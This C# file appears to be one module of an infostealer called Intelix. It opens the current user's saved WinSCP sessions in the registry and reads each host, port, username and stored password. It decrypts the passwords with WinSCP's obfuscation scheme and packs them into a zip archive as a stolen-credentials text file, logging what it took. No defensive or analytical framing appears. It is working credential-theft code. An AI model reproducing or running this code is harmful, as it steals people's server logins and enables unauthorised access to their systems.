using System.Collections.Generic;
using System.Linq;
using Intelix.Helper.Data;
using Microsoft.Win32;

namespace Intelix.Targets.Applications;

public class WinSCP : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		List<string> list = new List<string>();
		List<string> list2 = new List<string>();
		try
		{
			using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions");
			if (registryKey == null)
			{
				return;
			}
			string[] subKeyNames = registryKey.GetSubKeyNames();
			foreach (string text in subKeyNames)
			{
				string text2 = "Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + text;
				using RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text2);
				if (registryKey2 != null)
				{
					string text3 = registryKey2.GetValue("HostName")?.ToString();
					if (!string.IsNullOrWhiteSpace(text3))
					{
						string text4 = registryKey2.GetValue("UserName")?.ToString();
						string pass = registryKey2.GetValue("Password")?.ToString();
						string text5 = DecryptPassword(text4, pass, text3);
						string text6 = registryKey2.GetValue("PortNumber")?.ToString();
						list.Add("Session: " + text + "\nUrl: " + text3 + ":" + text6 + "\nUsername: " + text4 + "\nPassword: " + text5);
						list2.Add("HKEY_CURRENT_USER\\" + text2);
					}
				}
			}
		}
		catch
		{
		}
		if (list.Count <= 0)
		{
			return;
		}
		string text7 = "FTP/WinSCP/Sessions.txt";
		zip.AddTextFile(text7, string.Join("\n\n", list));
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "WinSCP";
		foreach (string item in list2)
		{
			counterApplications.Files.Add(item + " => " + text7);
		}
		counterApplications.Files.Add(text7);
		counter.Applications.Add(counterApplications);
	}

	private static int DecryptNextChar(List<string> charList)
	{
		return 0xFF ^ ((((int.Parse(charList[0]) << 4) + int.Parse(charList[1])) ^ 0xA3) & 0xFF);
	}

	private static string DecryptPassword(string user, string pass, string host)
	{
		if (string.IsNullOrEmpty(user) || string.IsNullOrEmpty(pass) || string.IsNullOrEmpty(host))
		{
			return "";
		}
		try
		{
			List<string> list = pass.Select((char c) => c.ToString()).ToList();
			List<string> list2 = new List<string>();
			foreach (string item in list)
			{
				switch (item)
				{
				case "A":
					list2.Add("10");
					break;
				case "B":
					list2.Add("11");
					break;
				case "C":
					list2.Add("12");
					break;
				case "D":
					list2.Add("13");
					break;
				case "E":
					list2.Add("14");
					break;
				case "F":
					list2.Add("15");
					break;
				default:
					list2.Add(item);
					break;
				}
			}
			if (DecryptNextChar(list2) == 255)
			{
				DecryptNextChar(list2);
			}
			list2.RemoveRange(0, 4);
			int num = DecryptNextChar(list2);
			list2.RemoveRange(0, 2);
			int count = DecryptNextChar(list2) * 2;
			list2.RemoveRange(0, count);
			string text = "";
			for (int num2 = 0; num2 < num; num2++)
			{
				text += (char)DecryptNextChar(list2);
				list2.RemoveRange(0, 2);
			}
			string oldValue = user + host;
			return text.Replace(oldValue, "");
		}
		catch
		{
			return "";
		}
	}
}